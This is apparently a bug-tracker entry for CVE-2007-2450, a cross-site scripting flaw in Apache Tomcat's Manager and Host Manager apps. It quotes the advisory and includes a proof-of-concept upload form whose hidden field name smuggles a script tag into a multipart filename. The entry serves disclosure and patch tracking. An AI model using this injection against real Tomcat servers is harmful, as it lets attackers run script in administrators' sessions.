Bug 244808 (CVE-2007-2450)

According to http://tomcat.apache.org/security-5.html

low: Cross-site scripting   CVE-2007-2450

The Manager and Host Manager web applications did not escape user provided data

now filter the data before use. This issue may be mitigated by logging out
(closing the browser) of the application once the management tasks have been
completed.

Example:

    <form action="http://example.com:8080/manager/html/upload"
method="post" enctype="multipart/form-data">
    <INPUT TYPE="hidden"
NAME='deployWar";filename="<script>alert()</script>"
    Content-Type: image/gif' VALUE="abc">
    <input type="submit">
    </form>
